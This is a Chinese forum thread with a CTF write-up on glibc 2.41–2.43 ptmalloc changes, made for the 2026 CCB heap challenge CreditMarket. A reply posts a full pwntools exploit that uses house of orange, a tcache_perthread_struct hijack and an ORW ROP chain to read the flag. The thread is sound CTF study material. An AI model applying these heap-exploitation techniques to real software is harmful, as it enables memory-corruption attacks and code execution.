首页
社区
课程
招聘
[原创]从2026CCB决赛堆题CreditMarket学习Glibc2.39后ptmalloc的机制更新
发表于: 2026-5-7 05:34 6545

[原创]从2026CCB决赛堆题CreditMarket学习Glibc2.39后ptmalloc的机制更新

2026-5-7 05:34
6545

每一次复现CCB的题总会学习到一些没接触过的知识,这次的题目涉及到的是高版本Glibc在引入了很多安全检查之后的利用手法

这道题所使用的Glibc版本是2.43的(Ubuntu 26.04所使用的Glibc),这个版本也会作为Ubuntu 26.04 LTS的Glibc版本,所以在未来一段时间应该也会是安全研究的一个主要方向,所以在开始复现题目之前要先简要的了解从Ubuntu 24.04 LTS(Glibc-2.39)后引入的一些更新。

在这里特别感谢@jiegec的师傅的许可,glibc 内存分配器 - 杰哥的知识库这篇文章对于ptmalloc的机制实现解释得特别详细,同时对于各版本Glibc更新也总结的十分好,笔者也是一边看这篇博客一边看源码学习的高版本Glibc对于ptmalloc的更改。

我们主要关心Glibc-2.39后的更新,2.39与2.40的malloc.c文件完全一致,而从2.41开始改动就比较大了。

首先,2.41封装了一系列函数用于tcache的判定,这也解决了在之前Glibc版本中散落在不同地方的tcache判定->取块/存块逻辑,可以通过这系列函数直接取/存(但是其中某些函数仅作为过渡,因为在Glibc2.42对tcache又进行了重构)。图1、2:封装的判定逻辑图3:可以看到,原本的tcache判定逻辑是散落 在各个地方的

同时,大概也是因为封装了这个函数后取块变得容易,calloc自2.41后也会默认使用tcache了。同时也是因为封装了tcache的处理逻辑,free的对应逻辑也有修改,将原本的_int_free拆成了多个小函数来实现,执行逻辑和原本并无太大区别,唯一改动的是如今符合smallbin大小的堆块会直接进入smallbin而不是先进入unsortedbin,对于CTF来说,不能简单通过填满tcache来获得unsortedbin了

这个版本在tcache上动了大刀子,原有的counts数组被删除,转而变为num_slot数组,counts数组统计每个size的tcache块,而num_slot数组转而统计每个size的“可放入块”。(同时,tcache被分为tcache_smallbin{与原来的tcache逻辑一致}和tcache_largebin{新增机制},这个我们在后面展开)进一步的,因为tcache_largebin的机制,所以tcache_get和tcache_put不再是简单的头插逻辑了接下来是新增的tcache_largebin机制,它和largebin的机制是比较像的,维护了某个size段的链表,这便与传统的tcache有区别,传统的tcache只维护单个size的链表所以可以用简单的头插法实现,而加入largebin中必须允许向某个链表中段插入堆块,同时,因为next字段是经过safe-linking的,所以添加了一些检查和处理:

同时还由于加强了对于double free的检查,之前检查的是某单个size的链表,而现在会扫描所有size中的链表,意味着传统的free->change size->free将不能够通过检查:同时,将malloc的流程进行拆分,分为了初始化tcache的__libc_malloc和不初始化tcache的__libc_malloc2,检查机制上没有什么独特的地方,反耳呢,值得注意的是,如今改为num_slot计数后 ,如果attack tcache_prethread_struct不需要再伪造counts数组中的计数,而只需要保证entries数组不为0即可图不知道几:可以看到,在Glibc2.41中,tcache_available是检查了counts数组的图不知道几:而在Glibc2.42中,除了常规检查外几乎没有安全检查

这使得我们对tcache_prethread_struct的攻击变得更轻易了。而非常非常非常非常重要的一个更新是,现在补全了unsortedbin进入largebin的双向链表检查,这意味着几乎横跨了一个时代的largebin attack终究落下了帷幕...还补全了针对fastbin的安全检查,但是不介绍了,因为马上它就g了

删除了所有有关于Fastbin的机制,是所有,从此之后再无fastbin。

Glibc2.43中规范了对于mmap_chunk的结构,同时增加了对于huge_page的支持,值得注意的是mmap_chunk的prev_size处存在一个hp_flag(huge_page),和prev_inuse_flag一样,它占用的也是0x1同时因为huge_page的引入,更改了thp模式的一些源码,能看懂的部分就是现在由页向下对齐(扩充size)改为了页向上对齐(缩减size)(似乎不是很重要?不知道与sysmalloc会不会有关系)“TCACHE is never NULL”,Glibc2.43给tcache设置了三个状态inactive->表示还没决定是否分配真正 tcache; disabled->表示 tcache 被禁用; 其他值->表示真正 live tcache所以,这也带来一个巨大的改变,当首次malloc/calloc时不再初始化tcache!!而这对于CTF中堆利用可以说是一个利好,因为tcache_prethread_struct不再默认为slot_0_chunk了,这也就意味着堆溢出等漏洞可以进行tcache_prethread_struct的攻击了而真正的tcache初始化如今交给了free图不知道几:在__libc_free的末尾判断如果tcache处于inactive就进行初始化所以流程就是:第一次 free: num_slots 为 0,放不进去 ->发现 inactive ->初始化真实 tcache ->重新 free

为什么没有在Glibc2.42展开讲tcache_largebin的get呢,因为在Glibc2.43中补充了nb要与chunksize相等的条件:什么意思?举个例子,某个tcache_largebin链表中存放了0x500 -> 0x600 -> 0x800三个堆块,如果此时我malloc一个0x580的chunk

在Glibc2.42的情况下,tcache_location_large找到第一个>= 0x580 的 chunk:发现是0x600,然后会直接返回 0x600这个堆块。

而在Glibc2.43的情况下,tcache_location_large虽然同压根会找到0x600这个chunk,但是在tcache_get_large中不能通过nb != chunksize(te)的检查,因此会返回null。

换而言之,在Glibc2.42中,我们可能是可以拿到比我们所申请的size更大的tcache_largebin堆块的(未实际验证,仅从源码分析233),但是在Glibc2.43中不行,后续验证一下是不是这样的,如果是的话可能是一个出题素材)剩下一些就是细枝末节的优化,对堆分配并无大影响

本来这篇WP是想主要写我在这题调试过程中遇到的一些困难和阻碍的,但在前面对Glibc的更新总结后,发现这些阻碍主要都是因为对更新不了解所导致的...所以学堆看源码还是一个很重要的能力的!!那么接下来就简要写一写这道题的利用链和高版本的特性吧!

其实这道题的逆向工程并不复杂,是一个很经典的增改查删程序

主要漏洞点也并不难找,而且可以说是很好利用的类型,一是edit时能造成0x40的堆溢出


[培训]《冰与火的战歌:Windows内核攻防实战》!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。

最后于 2026-5-7 08:30 被F0xm1ao编辑 ,原因:
上传的附件:
收藏
免费 6
支持
分享
最新回复 (11)
雪    币: 1892
活跃值: (3106)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
2


1

最后于 2026-5-9 16:48 被s1nec-1o编辑 ,原因:
2026-5-9 16:47
0
雪    币: 1666
活跃值: (255)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
3
s1nec-1o 1
师傅没来得及看到您回复的内容)是这道题有什么别的思路吗,可以讨论一下!
2026-5-10 21:26
0
雪    币: 2729
活跃值: (3373)
能力值: ( LV12,RANK:286 )
在线值:
发帖
回帖
粉丝
4
我见过pwn最nb的师傅之一
2026-5-12 08:15
0
雪    币: 505
活跃值: (212)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5

师傅,我看了一下这题,他的 _exit() 函数不是由系统调用的那个 _exit() 你IDA里面双击的点进去可以看到他是由 exit() 函数封装而成的,也就是说这题最终调用 _exit() 退出时是会刷新 IO流的
图片描述
然后这题的话我和我的学长讨论了一下,他说他的打法是利用 house of orange 先搞出一个 free bin 然后改 tcache 的size越界合并劫持整个 tcache struct ,然后就能通过劫持 tcache struct 来实现劫持 tcache 链,最终就可以随便去打了,具体的我还在打,等我打完看看

最后于 2026-5-14 18:35 被B1t3编辑 ,原因: 发现评论的技术细节有点小问题,修改一下
2026-5-14 15:37
0
雪    币: 505
活跃值: (212)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6

我参考了一下我一位学长的思路,然后自己复现了一下,在前面部分我们的思路都大差不差,后面的话我选择的时利用方法泄露出栈地址,然后构造orw链,修改劫持的 tcache_perthread_struct 结构体,然后将程序的返回地址取出,对齐进行劫持,然后打 orw获取flag,用这个方法可以无需泄露堆地址

EXP

from pwn import *

context(arch = "amd64", os = "linux", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
io = process("./shop")
libc = ELF("./libc.so.6")
#io = remote("challenge-1935be88449b9231.sandbox.ctfhub.com", 27347)#nc challenge-1935be88449b9231.sandbox.ctfhub.com 27347

#--------------------

sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ru = lambda x : io.recvuntil(x)
r = lambda x : io.recv(x)
sla = lambda x, data : io.sendlineafter(x, data)
inter = lambda : io.interactive()
rl = lambda a = False : io.recvline(a)
sa = lambda x, data : io.sendafter(x, data)

def debug():
    gdb.attach(io)
    pause()

def menu(x):
    sla(b"> ", str(x).encode())

def malloc(idx, size):
    menu(1)
    sla(b"Index: ", str(idx).encode())
    sla(b"Item size: ", str(size).encode())

def edit(idx, content):
    menu(2)
    sla(b"Index: ", str(idx).encode())
    sa(b"New content: ", content)

def show(idx):
    menu(3)
    sla(b"Index: ", str(idx).encode())

def free(idx):
    menu(4)
    sla(b"Index: ", str(idx).encode())

size = 0x1000-0x10
malloc(0,size)
payload = b'\x00' * (size)
payload += p64(0) + p64(0x1001)
edit(0,payload)
malloc(1,0xFFE)     # house of orange
edit(0, b"a" * (size + 0x10))
show(0)
ru(b"a" * (size + 0x10))
main_arena = u64(r(6).ljust(8, b"\x00"))
libc_addr = main_arena - 0x212ac8
log.info("main arena addr =====>> " + hex(main_arena))
log.info("libc addr =====>> " + hex(libc_addr))
rdi = libc_addr + 0x11bcfa
rsi = libc_addr + 0x5c2e7
rdx = libc_addr + 0xe87bd
rax = libc_addr + 0xe5e47
syscall = libc_addr + 0xa0c46
edit(0, b'A' * (size + 8) + p64(0xfe1))
malloc(3, 0xf8)
malloc(4, 0xf8)
edit(3, b"a" * 0xf8 + p64(0x401))
free(4)
malloc(5, 0x3f0)     # tcache pthread struct 可控

target = libc_addr + 0x213680
payload = flat({
    0x100 + 0x00: 0xf,
    0x100 + 0x98: target,
}, filler=b"\x00")
edit(5, payload)

malloc(6, 0x18)
edit(6, b"A" * 0x20)
show(6)
ru(b"A" * 0x20)
stack = u64(r(6).ljust(8, b"\x00")) & ~0xf
log.info("stack addr =====>> " + hex(stack))

payload = flat({
    0x100 + 0x18: 0xf001000100010,
    0x100 + 0x110: stack - 0x210 - 0x110,
}, filler=b"\x00")
edit(5, payload)

malloc(7, 0x100)

target_stack = stack - 0x210
buf = stack - 0x158

orw_chain = flat({
    # open
    0x00: rdx,
    0x08: 0,
    0x10: rax,
    0x18: 2,
    0x20: rdi,
    0x28: buf,
    0x30: rsi,
    0x38: 0,
    0x40: syscall,

    # read
    0x48: rdx,
    0x50: 0x100,
    0x58: rdi,
    0x60: 3,
    0x68: rsi,
    0x70: buf,
    0x78: libc_addr + libc.sym['read'],

    # write
    0x80: rdx,
    0x88: 0x100,
    0x90: rdi,
    0x98: 1,
    0xa0: rsi,
    0xa8: buf,
    0xb0: libc_addr + libc.sym['write'],

    0xb8: b'./flag'.ljust(0x10, b'\x00')
}, filler=b'\x00')

payload  = p64(rdi) + p64(0)
payload += p64(rsi) + p64(target_stack)
payload += p64(rdx) + p64(0x100)
payload += p64(libc_addr + libc.sym['read'])
edit(7, b'A' * 0xF8 + payload)

sl(orw_chain)

inter()

最终能够成功获取flag
图片描述

最后于 2026-5-14 20:28 被B1t3编辑 ,原因: 添加了点内容
2026-5-14 20:26
0
雪    币: 1666
活跃值: (255)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
7
B1t3 师傅,我看了一下这题,他的 _exit() 函数不是由系统调用的那个 _exit() 你IDA里面双击的点进去可以看到他是由 exit() 函数封装而成的,也就是说这题最终调用 _exit() 退出时 ...

跟进_exit()中的exit会发现其实调用的是库函数中封装的_exit
图片描述
这个函数是libc封装的系统调用接口,实际上还是走POISX系统调用而不刷新IO,可以在libc中找到对应封装的反汇编
图片描述
图片描述
所以其实是不会刷新IO流的,还有一个更简单的办法是下_IO_flush_all的断点
图片描述
发现程序正常退出而没有断在_IO_flush_all,说明确实没有刷新IO流,其实从这题的打印全部是write大概就可以猜到出题人应该不愿意让我们打IO)

2026-5-15 15:15
0
雪    币: 505
活跃值: (212)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
F0xm1ao B1t3 师傅,我看了一下这题,他的 _exit() 函数不是由系统调用的那个 _exit() 你IDA里面双击的点进去可以看到他是由 exit() 函数封装 ...
但是我的学长就是最后打apple2的啊
2026-5-15 15:26
0
雪    币: 505
活跃值: (212)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
F0xm1ao B1t3 师傅,我看了一下这题,他的 _exit() 函数不是由系统调用的那个 _exit() 你IDA里面双击的点进去可以看到他是由 exit() 函数封装 ...
我问了一下我学长,他是利用assert_bort触发的
2026-5-16 20:13
0
雪    币: 505
活跃值: (212)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
F0xm1ao B1t3 师傅,我看了一下这题,他的 _exit() 函数不是由系统调用的那个 _exit() 你IDA里面双击的点进去可以看到他是由 exit() 函数封装 ...
还有这题泄露堆地址不一定要走calloc一个更大的堆块使得Old Top进入Largebin从而泄露堆地址,你在free将一个chunk放入tcache之后这个chunk的fd指针的值为0,但是tcache的fd指针会被 safe-linking 加密,加密方式为    fd = (pos>>12)⊕real_ptr ,也就是说我们利用show 泄露了fd指针的值之后将其进行 <<12 的运算即可还原出一个堆指针,从而即可泄露堆地址
2026-5-16 20:18
0
雪    币: 1666
活跃值: (255)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
11
B1t3 还有这题泄露堆地址不一定要走calloc一个更大的堆块使得Old Top进入Largebin从而泄露堆地址,你在free将一个chunk放入tcache之后这个chunk的fd指针的值为0,但是tca ...
嗯嗯,我最后的exp用的就是用本身的指针来得到的,另外,能问问那位学长是走哪条assert触发的IO刷新吗,似乎新版本的assert只会触发fflush(stderr),是通过打stderr劫持的控制流吗,确实没在高版本打过stderr这个流,想学习一下,感谢!
2026-5-16 23:44
0
雪    币: 505
活跃值: (212)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
F0xm1ao 嗯嗯,我最后的exp用的就是用本身的指针来得到的,另外,能问问那位学长是走哪条assert触发的IO刷新吗,似乎新版本的assert只会触发fflush(stderr),是通过打stderr劫持的控制 ...
我学长说就是触发io里的一个报错然后就会用err log的形式输出错误信息,应该就是用stderr来触发,打IO的
2026-5-18 13:19
0
游客
登录 | 注册 方可回帖
返回